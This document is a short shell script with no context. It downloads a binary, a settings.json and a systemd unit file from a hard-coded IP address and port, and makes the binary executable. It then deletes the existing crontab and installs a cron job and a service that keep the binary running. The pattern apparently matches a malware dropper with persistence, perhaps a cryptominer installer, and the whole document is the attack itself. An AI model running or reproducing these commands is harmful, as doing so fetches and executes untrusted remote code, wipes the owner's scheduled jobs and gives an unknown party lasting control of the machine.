curl -o /home/rs http://223.113.133.234:17881/rs/rs curl -o /home/settings.json http://223.113.133.234:17881/rs/yd.json chmod +x /home/rs curl -o /etc/systemd/system/rs.service http://223.113.133.234:17881/rs/rs.txt crontab -r (crontab -l ; echo "*/2 * * * * pgrep -x /home/rs > /dev/null || { systemctl start rs }") | crontab - systemctl enable rs systemctl start rs